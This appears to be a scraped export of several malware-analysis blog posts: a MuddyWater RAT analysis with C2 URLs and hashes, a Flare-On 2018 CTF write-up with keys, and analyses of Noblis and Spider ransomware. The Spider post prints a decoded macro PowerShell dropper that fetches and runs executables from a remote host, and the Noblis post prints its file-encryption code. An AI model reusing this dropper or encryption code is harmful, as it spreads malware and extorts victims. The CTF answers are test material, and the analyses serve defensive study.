services which are currently running in the system.\nipconfig /all - gives the network info of the system.\nThe sample runs this script and takes the output, encode and encrypt it with the same method described above and then stores it at %APPDATA%\\Windows\\Microsoft\\FrameWork4\\res_uniqueID.frk\nAfter that, it reads the same file and sends it to the CnC server at the below location and then deletes the file.\nhxxp://shopcloths.ddns.net/users.php?tname=res_uniqueID.frk\u0026amp;path=Data\nAfter all these initialization steps, control transfers to an infinite loop which takes care of all the actions coming from the server and acts accordingly.\nThis loop first checks the internet connection by pinging google.com, then it checks server connectivity by sending the following request to the server and comparing the output with the hardcoded value.\nhxxp://shopcloths.ddns.net/users.php?root=random_chars\nThe output of this request should be \u0026ldquo;wYbaej5avYrFb\u0026rdquo; which is hardcoded in the sample.\nAfter handshaking, it reads the action command by sending a request to the following server URL with the unique machine ID.\nhxxp://shopcloths.ddns.net/users.php?readme=Data/uniqueID\nCurrently, there are only three commands present in this version.\nDownload Filename URL: It downloads a file from URL and saves it as Filename at %APPDATA%\\Windows\\Microsoft\\FrameWork4\nUpload FilePath: It uploads FilePath on the server at URL hxxp://shopcloths.ddns.net/users.php?tname=randomname.extension\u0026amp;path=Data\nPowershell script: If the response of the server is an encoded and encrypted PowerShell script, then it will be run by the third function which is shown below. IOCs :\nMalicious word document : 8899c0dac9f6bb73ce750ae7b3250dbd\nZip dropper (temp_rt_32.exe) : 7C3DD70A4B1976481913E6B5A1FFBB77\nZip File (data.zip) : 5DB43101417247AE161C4425D0B96A70\nRAT (GoogleUpdate.exe) : 6F44E57C81414355E3D0D0DAFDF1D80E\nCnC URLs hosted on : hxxps://www.jsonstore.io/4de4d6d84d17638b3cd0eaf18857784aff27501be7d3dd89fad2b7ac2134f52e\nCnC URL : hxxp://shopcloths.ddns.net/users.php?\nCnC URL : hxxp://getgooogle.hopto.org/users.php?\nUpdate - 13 Jan 2019\nI have found some similar and recent malware on VirusTotal. All these samples have only one embedded PE file (GoogleUpdate.exe) which will be dropped in %TEMP%. In my case, this GoogleUpdate.exe was a .NET file embedded in the data.zip file which was executed by temp_rt_32.exe, but here GoogleUpdate.exe is also a .NET file packed with the Enigma Virtual Box packer. Other than this, all the processes and CnC servers are similar.\nHere are the latest documents: (MD5)\nd5f76641176d78477e14fde7ae073752\nf589af2ae8f1ace804ef5745feeb6d5c\n44284b5eb3b6da8c988924907478adbd\n85b3f269251d805d3e2f78d37aeb1744\n92816bd34efb6f8b7149d6c2c1545d6a\n9f092a060381db4ed63d4e96da5c8d54\n","permalink":"https://meltedinhex.com/posts/a-new-muddywater-apt-campaign-spreads/","summary":"\u003cp\u003eMuddyWater is an APT group that has been active throughout 2017, targeting victims in the Middle East with in-memory vectors leveraging PowerShell.\u003c/p\u003e\n\u003cp\u003eIn October 2018, Kaspersky Lab published a \u003ca href=\"https://securelist.com/muddywater/88059/\"\u003egood analysis report\u003c/a\u003e on the malware by this APT group.\u003c/p\u003e\n\u003cp\u003eHere I am publishing my analysis report on recent malware by this APT group which targeted several parts of the Middle East.\u003c/p\u003e\n\u003cp\u003eSample -  8899c0dac9f6bb73ce750ae7b3250dbd (\u003ca href=\"https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection\"\u003eVirustotal\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eReferences :\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.vmray.com/analyses/c873532e009f/report/overview.html\"\u003ehttps://www.vmray.com/analyses/c873532e009f/report/overview.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://twitter.com/360TIC/status/1081080752438009856\"\u003ehttps://twitter.com/360TIC/status/1081080752438009856\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection\"\u003ehttps://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/a-new-muddywater-apt-campaign-spreads/doc1-85a3eec5.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThe document has obfuscated macro code which contains encrypted binary data. On execution, it decrypts the data, drops files and executes them.\u003c/p\u003e","title":"A new MuddyWater APT campaign spreads Backdoor RAT"},{"content":"Flare-On is an annual CTF challenge organized by FireEye with a focus on reverse engineering.\nOverall, there were 12 challenges to complete, similar to last year (2017). Instead of a detailed write-up, I am just covering the important parts.\nFollowing are the instructions to solve these challenges:\nAnalyse the sample and find the key Each key looks like an email address and ends with @flare-on.com Enter the key for each challenge in Flare-on CTF app to unlock next challenge Complete all the puzzles and win a prize Flare-On 2018 challenges - download\nPassword - flare\nChallenge 1 :MinesweeperChampionshipRegistration.jar\nThe first challenge is very simple. There is a JAR file which asks for an invitation code to proceed.\nI have used the Jd-gui tool to check the code of the JAR file. It just compares the input directly to the hard-coded key.\nkey : GoldenTicket2018@flare-on.com\nChallenge 2 :UltimateMinesweeper.exe\nChallenge 3 :FLEGGO.zip\nI have solved this challenge statically.\nThe zip contains 48 PE files and each one asks for a password. If you enter anything wrong, it displays \u0026ldquo;Go step on a brick!\u0026rdquo;. So I loaded one file in CFF and found a resource named \u0026ldquo;BRICK\u0026rdquo;.\nThis BRICK is different in each file, so I entered the ASCII of the first 20 bytes from the same file in place of a password. Yes, I guessed it right :)\nWhen we enter the correct password, it drops a PNG file and displays a character associated with it. Here we have \u0026ldquo;w\u0026rdquo; and the associated PNG file looks like below.\nSo this means the 23rd character of our key will be \u0026ldquo;w\u0026rdquo;.\nI created the below Python script to automate this for every file and extract all the PNGs and their associated characters.\nmarker = \u0026#34;\\x42\\x00\\x52\\x00\\x49\\x00\\x43\\x00\\x4B\\x00\\x00\\x00\\x00\\x00\u0026#34; for file in files: filepath = os.path.join(directory, file) data = open(filepath, \u0026#39;rb\u0026#39;).read() password = data.split(marker)[1][:0x20] password = password.replace(\u0026#39;\\x00\u0026#39;,\u0026#39;\u0026#39;) p1 = subprocess.Popen(filepath, stdin=subprocess.PIPE, stdout=subprocess.PIPE) res = p1.communicate(input=password) res = res[0].split(\u0026#39;\\r\\n\u0026#39;) png_name = res[2].split(\u0026#39;=\u0026gt;\u0026#39;)[0].strip() charname = res[2].split(\u0026#39;=\u0026gt;\u0026#39;)[1].strip() png_path = os.path.join(directory, png_name) new_png_path = os.path.join(directory, charname+\u0026#39;_\u0026#39;+png_name) os.rename(png_path, new_png_path) Key : mor3_awes0m3_th4n_an_awes0me_p0ssum@flare-on.com\nChallenge 4 :binstall.exe\nThis is a Confuser-packed .NET binary. After execution, it drops a DLL in %APPDATA%\\Microsoft\\Internet Explorer\\ with the name browserassist.dll and adds its path to the AppInit_DLLs registry (HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs). This is one of the DLL injection techniques. AppInit DLLs are loaded by user32.dll after it has been loaded.\nWhen you debug standalone DLL with ollydbg, you will find below code.\nThe first function calculates the crc32 of the parent process name and compares it with some hard-coded value. So this DLL must be injected into some specific process; the hint is already given in the instructions, like \u0026ldquo;especially if they are a Firefox user\u0026rdquo;. So if you replace loaddll.exe with firefox.exe then the checksum will definitely match.\nThe second function calls the GetVersionInfoA API to fetch the version of the parent process (firefox.exe) and compares it with \u0026gt;55. It requires Firefox of version less than 55 to proceed further, otherwise it will exit.\nIf both these functions succeed, it will create a thread to proceed further.\nThis thread downloads base64 encoded and encrypted data from the URL hxxp://pastebin.com/raw/hvaru8NU and decodes and decrypts it using the RC4 algorithm with the key md5(\u0026ldquo;FL@R3ON.EXE\u0026rdquo;). The decrypted code is a JSON file which looks like below.\nThis is a web injection technique similar to TinyNuke malware. At the last, the DLL injects this JSON into Firefox. If the webpage contains the \u0026ldquo;code\u0026rdquo; section shown in the JSON, then it will be replaced by the \u0026ldquo;content\u0026rdquo; section. At the end of this JSON file, the host and file path are already given.\n\u0026ldquo;path\u0026rdquo;: \u0026ldquo;/js/view.js\u0026rdquo;,\n\u0026ldquo;host\u0026rdquo;: \u0026ldquo;*flare-on.com\u0026rdquo;\nSo the web-injection is going to happen on flare-on.com only.\nIf you open flare-on.com in the infected Firefox you will see the changes in the code.\nYou have to compare the code of the original site and the infected site and understand what that extra code is doing. It has added an extra command \u0026ldquo;su\u0026rdquo; to get the password. It takes the password and compares it with 10 different characters. After RE of that code, you will get the password of size 10 chars.\npassword : k9btBW7k2y\nThe story is not over yet. You need to understand the extra piece of code, like what happens when the user is superuser (su). There is a hidden directory named \u0026ldquo;Key\u0026rdquo;. If you get in there then you will get the key.\ncd Key\nls\nKey : c0Mm4nD_inJ3c7ioN@flare-on.com\nChallenge 5 :web2point0 (wasm)\nThis is a very interesting and new challenge.\nIt contains 3 files: index.html, main.js and test.wasm\nThe index.html loads main.js and main.js executes the test.wasm file.\nThe main.js takes the parameter from the URI variable \u0026ldquo;q\u0026rdquo; and calls webassembly (wasm file) with this parameter. If the return value is 1, it will show a party popper, otherwise a Pile of Poo.\nI have used Firefox for webassembly debugging.\nI appended the parameter in the URL like ?q=\u0026ldquo;abcdefgh\u0026rdquo; and checked where this parameter is being used by step-by-step debugging. I know this is painful but there was no other way :(\nIt was comparing each byte of the parameter with some value, I set a breakpoint at the comparison and recorded each value.\n0xBF2 is where it is comparing parameters with constant values.\nKey : wasm_rulez_js_droolz@flare-on.com\nChallenge 6 :magic\n**This loop runs 666 times and it changes the magic file in every iteration.\nIt asks for the key and when you enter the key it will be processed by sub_402DCF function only.**\n","permalink":"https://meltedinhex.com/posts/flare-on-challenge-2018-writeup/","summary":"\u003cp\u003eFlare-On is an annual CTF challenge organized by FireEye with a focus on reverse engineering.\u003cbr\u003e\nOverall, there were 12 challenges to complete, similar to \u003ca href=\"https://www.sdkhere.com/2017/10/flare-on-challenge-2017-writeup.html\"\u003elast year (2017)\u003c/a\u003e. Instead of a detailed write-up, I am just covering the important parts.\u003cbr\u003e\nFollowing are the instructions to solve these challenges:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAnalyse the sample and find the key\u003c/li\u003e\n\u003cli\u003eEach key looks like an email address and ends with @flare-on.com\u003c/li\u003e\n\u003cli\u003eEnter the key for each challenge in Flare-on CTF app to unlock next challenge\u003c/li\u003e\n\u003cli\u003eComplete all the puzzles and win a prize\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eFlare-On 2018 challenges - \u003ca href=\"http://flare-on.com/files/Flare-On5_Challenges.zip\"\u003edownload\u003c/a\u003e\u003cbr\u003e\nPassword - flare\u003c/p\u003e","title":"Flare-On Challenge 2018 Writeup"},{"content":"Noblis is in-development ransomware which is built in Python and packed by PyInstaller.\nYou can refer to my previous blog to learn how to identify and reverse Python-built executables.\nWe have the following sample:\nHash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]\nThe sample is UPX packed; after unpacking we get the following sample.\nHash : A886E7FAB4A2F1B1B048C217B4969762\nThe binary has many Python reference strings and a zlib archive appended to it as an overlay.\nYou can use the PyExtractor tool to extract the Python code from the binary.\nAfter extraction we get AES-encrypted Python modules.\nThe AES key is present in the file pyimod00_crypto_key, which is \u0026ldquo;9876501234DAVIDM\u0026rdquo;, and you can use the below script to extract those modules.\nfrom Crypto.Cipher import AES import zlib import sys CRYPT_BLOCK_SIZE = 16 # key obtained from pyimod00_crypto_key key = \u0026#39;9876501234DAVIDM\u0026#39; inf = open(sys.argv[1], \u0026#39;rb\u0026#39;) # encrypted file input outf = open(sys.argv[1]+\u0026#39;.pyc\u0026#39;, \u0026#39;wb\u0026#39;) # output file # Initialization vector iv = inf.read(CRYPT_BLOCK_SIZE) cipher = AES.new(key, AES.MODE_CFB, iv) # Decrypt and decompress plaintext = zlib.decompress(cipher.decrypt(inf.read())) # Write pyc header outf.write(\u0026#39;\\x03\\xf3\\x0d\\x0a\\0\\0\\0\\0\u0026#39;) # Write decrypted data outf.write(plaintext) inf.close() outf.close() Let\u0026rsquo;s move towards the ransomware.\nOn execution of the ransomware, it creates a mutex named \u0026ldquo;mutex_rr_windows\u0026rdquo;. If the mutex is already created, it will open only the GUI panel; otherwise it runs the crypter.\nThe main wrapper of this ransomware is below.\ndef __init__(self): \u0026#39;\u0026#39;\u0026#39; @summary: Constructor \u0026#39;\u0026#39;\u0026#39; self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ[\u0026#39;APPDATA\u0026#39;], \u0026#34;encrypted_files.txt\u0026#34;) # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. do nothing if not os.path.isfile(self.encrypted_file_list): return # Present GUI self.start_gui() # ALREADY ENCRYPTED # Present menu elif os.path.isfile(self.encrypted_file_list): self.start_gui() It checks for a file encrypted_files.txt in %APPDATA%; if it is not there, it will proceed with the encryption.\nIt initializes the encryption key, finds the specified files for encryption, encrypts them, makes an entry for each encrypted file in encrypted_files.txt, and displays a GUI form.\nThe ransomware has an independent configuration file (runtime.cfg) which is loaded at runtime.\nThe configuration file has the encrypted file extension, ransom note, file types to be encrypted, BTC amount, wallet address, etc.\nHere, the wallet address is invalid; that\u0026rsquo;s why we are calling it in-development ransomware.\nThe ransom note is in Spanish and it points to a handle @4v4t4r.\nLet\u0026rsquo;s have a look at encryption process.\ndef init_keys(self, key=None): \u0026#34;\u0026#34;\u0026#34; @summary: initialise the symmetric keys. Uses the provided key, or creates one @param key: If None provided, a new key is generated, otherwise the provided key is used \u0026#34;\u0026#34;\u0026#34; if not key: self.load_symmetric_key() else: self.key = key def load_symmetric_key(self): if os.path.isfile(\u0026#39;key.txt\u0026#39;): fh = open(\u0026#39;key.txt\u0026#39;, \u0026#39;r\u0026#39;) self.key = fh.read() fh.close() else: self.key = self.generate_key() def generate_key(self): key = (\u0026#39;\u0026#39;).join((random.choice(\u0026#39;0123456789ABCDEF\u0026#39;) for i in range(32))) fh = open(\u0026#39;key.txt\u0026#39;, \u0026#39;w\u0026#39;) fh.write(key) fh.close() return key def encrypt_file(self, file, extension): \u0026#34;\u0026#34;\u0026#34; @summary: Encrypts the target file @param file: Absolute path to the file to encrypt @param extension: The extension to add to the encrypted file \u0026#34;\u0026#34;\u0026#34; file_details = self.process_file(file, \u0026#39;encrypt\u0026#39;, extension) if file_details[\u0026#39;error\u0026#39;]: return False try: fh_read = open(file_details[\u0026#39;full_path\u0026#39;], \u0026#39;rb\u0026#39;) fh_write = open(file_details[\u0026#39;locked_path\u0026#39;], \u0026#39;wb\u0026#39;) except IOError: return False while True: block = fh_read.read(self.BLOCK_SIZE_BYTES) if not block: break to_encrypt = self.pad(block) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) try: ciphertext = iv + cipher.encrypt(to_encrypt) except MemoryError: return False fh_write.write(ciphertext) fh_write.close() fh_read.close() file_details[\u0026#39;state\u0026#39;] = \u0026#39;encrypted\u0026#39; return file_details[\u0026#39;locked_path\u0026#39;] If key.txt is not present in the current directory, it will generate an AES key of size 32 bytes and store it in key.txt. At the time of encryption, it generates an Initialization Vector (IV) and encrypts the files (having extensions specified in the configuration file) with AES-256.\nThe first 16 bytes of every encrypted file is the IV, and the rest is encrypted with this IV and the key stored in key.txt.\nAfter encryption of every file, it will start a GUI panel shown below.\nDecryption tool -\nThe ransomware has the code for RSA encryption but it is not used here; maybe it will come with RSA encryption in the next version.\nclass GenerateKeys: def __init__(self): self.local_public_key = \u0026#39;\u0026#39; self.local_private_key = \u0026#39;\u0026#39; self.key_length = 2048 rsa_handle = RSA.generate(self.key_length) self.local_private_key = rsa_handle.exportKey(\u0026#39;PEM\u0026#39;) self.local_public_key = rsa_handle.publickey() self.local_public_key = self.local_public_key.exportKey(\u0026#39;PEM\u0026#39;) class EncryptKey: def __init__(self, recipient_public_key, sym_key): self.recipient_public_key = recipient_public_key self.key_to_encrypt = str(sym_key) self.encrypted_key = self.encrypt_key() def encrypt_key(self): rsa_handle = RSA.importKey(self.recipient_public_key) key = rsa_handle.encrypt(self.key_to_encrypt, 1) return key class DecryptKey: def __init__(self, private_key, sym_key, phrase): self.private_key = private_key self.key_to_decrypt = sym_key self.phrase = phrase self.decrypted_key = self.decrypt_key() def decrypt_key(self): rsa_handle = RSA.importKey(self.private_key, self.phrase) key = rsa_handle.decrypt(self.key_to_decrypt) return key ","permalink":"https://meltedinhex.com/posts/analysis-of-noblis-in-dev-ransomware/","summary":"\u003cp\u003eNoblis is in-development ransomware which is built in Python and packed by PyInstaller.\u003cbr\u003e\nYou can refer to my \u003ca href=\"http://www.sdkhere.com/2017/07/reversing-of-python-built-exe.html\"\u003eprevious blog\u003c/a\u003e to learn how to identify and reverse Python-built executables.\u003c/p\u003e\n\u003cp\u003eWe have the following sample:\u003cbr\u003e\nHash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [\u003ca href=\"https://app.any.run/tasks/c8cbcab0-48be-470e-88f4-24617d85a292\"\u003eApp.Any\u003c/a\u003e]\u003c/p\u003e\n\u003cp\u003eThe sample is UPX packed; after unpacking we get the following sample.\u003cbr\u003e\nHash : A886E7FAB4A2F1B1B048C217B4969762\u003c/p\u003e\n\u003cp\u003eThe binary has many Python reference strings and a zlib archive appended to it as an overlay.\u003cbr\u003e\nYou can use the \u003ca href=\"https://sourceforge.net/projects/pyinstallerextractor/files/\"\u003ePyExtractor\u003c/a\u003e tool to extract the Python code from the binary.\u003c/p\u003e","title":"Analysis of Noblis In-dev Ransomware"},{"content":"MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal]\nFileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc\nFileType: MS Word Document\nThe Word file has an embedded macro.\nWhen you look into the macro code, you will find the below snippet.\nPrivate Function decodeBase64(ByVal strData As String) As Byte() Dim objXML As MSXML2.DOMDocument Dim objNode As MSXML2.IXMLDOMElement Set objXML = New MSXML2.DOMDocument Set objNode = objXML.createElement(\u0026#34;b64\u0026#34;) objNode.dataType = \u0026#34;bin.base64\u0026#34; objNode.Text = strData decodeBase64 = objNode.nodeTypedValue Set objNode = Nothing Set objXML = Nothing End Function Private Function str() As String str = \u0026#34;cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK\u0026#34; str = str + \u0026#34;SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH\u0026#34; str = str + \u0026#34;QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V\u0026#34; str = str + \u0026#34;0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov\u0026#34; str = str + \u0026#34;L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb\u0026#34; str = str + \u0026#34;252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0\u0026#34; str = str + \u0026#34;lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid\u0026#34; str = str + \u0026#34;9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0=\u0026#34; str = StrConv(decodeBase64(str), vbUnicode) End Function After Base64 decoding, we will get the following PowerShell script.\npowershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath(\u0026#39;ApplicationData\u0026#39;) + \u0026#39;\\Spider\u0026#39;;$enc = [System.Text.Encoding]::UTF8; function xor{ param($string, $method)$xorkey = $enc.GetBytes(\u0026#39;AlberTI\u0026#39;); $string = $enc.GetString([System.Convert]::FromBase64String($string)); $byteString = $enc.GetBytes($string); $xordData = $(for ($i = 0; $i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; $j++){$byteString[$i] -bxor $xorkey[$j]; $i++;if($i -ge $byteString.Length){$j = $xorkey.length}}}); $xordData = $enc.GetString($xordData);return $xordData}; function data { param($method)$webClient = New-Object System.Net.WebClient; if ($method -eq \u0026#39;d\u0026#39;){ $input = $webClient.DownloadString(\u0026#39;http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js\u0026#39;)} else{ $input = $webClient.DownloadString(\u0026#39;http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js\u0026#39;)} $bytes = [Convert]::FromBase64String( (xor $input \u0026#39;d\u0026#39;) ); return $bytes}; function io { param($method) if($method -eq \u0026#39;d\u0026#39;){ $filename = $dir + \u0026#39;\\dec.exe\u0026#39;} else{ $filename = $dir + \u0026#39;\\enc.exe\u0026#39;}[IO.File]::WriteAllBytes($filename, (data $method))}; function run { param($method) if ($method -eq \u0026#39;d\u0026#39;){io \u0026#39;d\u0026#39;; Start-Process -FilePath ($dir + \u0026#39;\\dec.exe\u0026#39;) -ArgumentList \u0026#39;spider\u0026#39;} else{ io \u0026#39;e\u0026#39;; Start-Process -FilePath ($dir + \u0026#39;\\enc.exe\u0026#39;) -ArgumentList \u0026#39;spider\u0026#39;, \u0026#39;ktn\u0026#39;, \u0026#39;100\u0026#39;}}; if( Test-Path $dir){}else{md $dir; run \u0026#39;d\u0026#39;; run \u0026#39;e\u0026#39; } The PowerShell script first creates a directory %APPDATA%\\Spider, downloads the decryptor (dec.exe), and downloads and executes the encryptor (enc.exe).\nThe encryptor is downloaded from hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js which is base64 encoded and encrypted with XOR; the encryption key for XOR is \u0026ldquo;AlberTI\u0026rdquo;. So the encryptor is downloaded, decrypted, saved at %APPDATA%\\enc.exe and executed with 3 arguments \u0026ldquo;spider\u0026rdquo;, \u0026ldquo;ktn\u0026rdquo;, \u0026ldquo;100\u0026rdquo;.\nSimilarly the decryptor is downloaded from hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js, which is again base64 encoded and encrypted with XOR; the XOR key is the same. It is decrypted, saved at %APPDATA%\\dec.exe and executed with the argument \u0026ldquo;spider\u0026rdquo;.\nEncryptor (enc.exe) :\nMD5 : 67D5ABDA3BE629B820341D1BAAD668E3 [VirusTotal]\nFileName: enc.exe\nFileType: MSIL\nThis binary is executed with 3 arguments \u0026ldquo;spider\u0026rdquo;, \u0026ldquo;ktn\u0026rdquo; and \u0026ldquo;100\u0026rdquo;.\nFirst of all it creates a victim\u0026rsquo;s ID and dumps it to %APPDATA%\\Spider\\id.txt\nOne string is created from 0x20 bytes of a random number, the second argument (ktn) and the third argument (100). It is encrypted with the RSA algorithm; the RSA public key is hardcoded in the function, which is-\n\u0026lt;RSAKeyValuew7eSLIEBvAgxfDAH/P+ktHJa5Okev4klIRleEhAnR9/1gs5ZHySCUgidDJUVaFrplYLgMUDbsR9aUCBwf07CD8bJL6rUHqeIxpYoF2M7bGW5Vulz3w8C9WMxqnzsqfak9wbt9rT63HoZ5zPHy2ieBfkAEs3XsuaU/q2drl2mQhZodGF+nwiiwfq0gOK+XvPPp9Nq3bCPhVUBzAcp2tXcplT4GjDfSyR8M2VfRzWChipf+plUmcvUafki56ubNW9pApUpd7UOEY1UKqHneMYdVJNhNrsx3T+wJiQNKj2/NMWSfGrN9W+QAVBnqbPgxmSYhfYNy7Fra32yOZ7ho3H1sw==AQAB\nEncrypted data is encoded with base64 and saved at %APPDATA%\\Spider\\id.txt, which is the victim\u0026rsquo;s ID and useful for the decryption process.\nThe sample traverses each drive and encrypts those files which have the following extensions.\nlnk url contact 1cd dbf dt cf cfu mxl epf kdbx erf vrp grs geo st conf pff mft efd 3dm 3ds rib ma sldasm sldprt max blend lwo lws m3d mb obj x x3d movie byu c4d fbx dgn dwg 4db 4dl 4mp abs accdb accdc accde accdr accdt accdw accft adn a3d adp aft ahd alf ask awdb azz bdb bib bnd bok btr bak backup cdb ckp clkw cma crd daconnections dacpac dad dadiagrams daf daschema db db-shm db-wal db2 db3 dbc dbk dbs dbt dbv dbx dcb dct dcx ddl df1 dmo dnc dp1 dqy dsk dsn dta dtsx dxl eco ecx edb emd eql fcd fdb fic fid fil fm5 fmp fmp12 fmpsl fol fp3 fp4 fp5 fp7 fpt fzb fzv gdb gwi hdb his ib idc ihx itdb itw jtx kdb lgc maq mdb mdbhtml mdf mdn mdt mrg mud mwb s3m myd ndf ns2 ns3 ns4 nsf nv2 nyf oce odb oqy ora orx owc owg oyx p96 p97 pan pdb pdm phm pnz pth pwa qpx qry qvd rctd rdb rpd rsd sbf sdb sdf spq sqb stp sql sqlite sqlite3 sqlitedb str tcx tdt te teacher tmd trm udb usr v12 vdb vpd wdb wmdb xdb xld xlgc zdb zdc cdr cdr3 ppt pptx 1st abw act aim ans apt asc ascii ase aty awp awt aww bad bbs bdp bdr bean bna boc btd bzabw chart chord cnm crwl cyi dca dgs diz dne doc docm docx docxml docz dot dotm dotx dsv dvi dx eio eit email emlx epp err etf etx euc fadein faq fb2 fbl fcf fdf fdr fds fdt fdx fdxt fes fft flr fodt fountain gtp frt fwdn fxc gdoc gio gpn gsd gthr gv hbk hht hs htc hwp hz idx iil ipf jarvis jis joe jp1 jrtf kes klg knt kon kwd latex lbt lis lit lnt lp2 lrc lst ltr ltx lue luf lwp lxfml lyt lyx man map mbox md5txt me mell min mnt msg mwp nfo njx notes now nwctxt nzb ocr odm odo odt ofl oft openbsd ort ott p7s pages pfs pfx pjt plantuml prt psw pu pvj pvm pwi pwr qdl rad readme rft ris rng rpt rst rt rtd rtf rtx run rzk rzn saf safetext sam scc scm scriv scrivx sct scw sdm sdoc sdw sgm sig skcard sla slagz sls smf sms ssa strings stw sty sub sxg sxw tab tdf tex text thp tlb tm tmv tmx tpc trelby tvj txt u3d u3i unauth unx uof uot upd utf8 unity utxt vct vnt vw wbk wcf webdoc wgz wn wp wp4 wp5 wp6 wp7 wpa wpd wpl wps wpt wpw wri wsc wsd wsh wtx xbdoc xbplate xdl xlf xps xwp xy3 xyp xyw ybk yml zabw zw 2bp 036 3fr 0411 73i 8xi 9png abm afx agif agp aic albm apd apm apng aps apx art artwork arw asw avatar bay blkrt bm2 bmp bmx bmz brk brn brt bss bti c4 cal cals can cd5 cdc cdg cimg cin cit colz cpc cpd cpg cps cpx cr2 ct dc2 dcr dds dgt dib dicom djv djvu dm3 dmi vue dpx wire drz dt2 dtw dvl ecw eip exr fal fax fpos fpx g3 gcdp gfb gfie ggr gif gih gim gmbck gmspr spr scad gpd gro grob hdp hdr hpi i3d icn icon icpr iiq info int ipx itc2 iwi j j2c j2k jas jb2 jbig jbig2 jbmp jbr jfif jia jng jp2 jpe jpeg jpg jpg2 jps jpx jtf jwl jxr kdc kdi kdk kic kpg lbm ljp mac mbm mef mnr mos mpf mpo mrxs myl ncr nct nlm nrw oc3 oc4 oc5 oci omf oplc af2 af3 ai asy cdmm cdmt cdmtz cdmz cdt cgm cmx cnv csy cv5 cvg cvi cvs cvx cwt cxf dcs ded design dhs dpp drw dxb dxf egc emf ep 